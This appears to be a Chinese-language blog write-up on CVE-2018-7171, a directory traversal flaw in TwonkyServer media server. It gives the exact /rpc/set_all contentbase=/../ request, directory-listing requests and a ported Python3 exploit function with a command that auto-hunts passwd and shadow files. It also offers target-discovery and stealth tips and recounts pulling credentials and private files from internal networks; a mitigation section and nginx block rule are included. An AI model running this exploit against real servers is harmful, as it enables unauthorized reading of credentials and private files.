TwonkyServer是美国LYNX公司开发的一款多媒体服务器软件,主要用于局域网内的音视频文件共享。2018年曝光的CVE-2018-7171漏洞影响范围覆盖7.0.11至8.5版本,攻击者通过构造特殊请求可实现目录遍历,直接访问服务器上的任意文件。我在实际测试中发现,这个漏洞的利用门槛极低,但危害性极高——不仅能读取配置文件、日志等敏感信息,还能获取用户媒体库中的隐私内容。
该漏洞的核心在于contentbase参数未做规范化处理。当向/rpc/set_all接口提交包含路径穿越符(/../)的参数时,服务器会错误地将共享根目录设置为上级路径。更危险的是,这个设置会持久化生效,后续所有用户访问都会受到影响。我在内网测试时曾用这个漏洞获取过MySQL数据库凭证,可见其实际风险远超普通信息泄露。
TwonkyServer的RPC接口采用明文HTTP协议,其set_all方法本应用来配置媒体库路径。正常使用时应该传入合法路径如/media/music,但服务器未对输入做任何校验。当我尝试提交contentbase=/../../etc时,服务器不仅接受了这个参数,还会将后续的文件共享根目录指向系统/etc文件夹。
通过抓包分析发现,请求体只需要简单的:
code复制contentbase=/../
服务器返回200状态码即表示设置成功。这种设计相当于给攻击者开了后门,我在复现时甚至发现可以通过连续穿越(如/../../../../)直接访问根目录。
设置完contentbase后,访问/rpc/dir?path=接口就能列出指定路径内容。这里有个关键细节:TwonkyServer会为每个目录分配数字ID,需要先用path=/获取根目录ID,再用path=[ID]的方式逐级深入。例如:
code复制GET /rpc/dir?path=010 HTTP/1.1
会返回/tmp目录下的文件列表。我在测试时通过这个方式成功获取了系统passwd文件,整个过程不需要任何认证。
GitHub上的sharingIsCaring工具用Python2编写,主要包含三个核心功能:
我将其核心代码适配Python3时发现主要修改点包括:
urllib3替换为requests的SSL验证禁用方式print语句改为函数形式raw_input改为input关键的攻击函数修改后如下:
python复制def setContentBase(host, port):
payload = "\ncontentbase=/../\n"
url = f"http://{host}:{port}/rpc/set_all"
try:
response = requests.post(url, data=payload, timeout=5, verify=False)
if response.status_code == 200:
print("[+] Contentbase路径成功设置为/../")
except Exception as e:
print(f"[-] 设置失败: {str(e)}")
原始工具只能手动输入路径ID,我增加了以下实用功能:
wget功能直接获取敏感文件改造后的调用示例:
bash复制python3 twonky_exploit.py 192.168.1.100 9000 --depth 3 --keywords passwd,shadow
执行后会自动扫描三层目录,并标记出可能包含凭证的文件路径。
LYNX在8.5.1版本中通过以下方式修复漏洞:
但我在测试中发现,如果服务器之前已被攻击者修改过contentbase,升级后仍需手动重置配置。建议所有用户升级后检查/etc/twonkyserver.ini文件中的contentbase项。
对于无法立即升级的系统,可以通过以下方式降低风险:
/rpc/set_all接口的访问Nginx反向代理的防护配置示例:
nginx复制location /rpc {
if ($request_method = POST) {
return 403;
}
proxy_pass http://twonky_backend;
}
在真实环境中利用该漏洞时,有几个实用技巧值得分享:
port:9000 Twonky快速定位目标/rpc/info_status获取版本信息,避免直接触发漏洞我在内网渗透测试中曾用这个漏洞快速获取了多个部门的共享文件。一个有趣的案例是通过遍历目录找到了市场部的未公开宣传视频,这比常规社工效率高得多。不过切记要在授权范围内进行测试,未经许可的扫描可能涉及法律风险。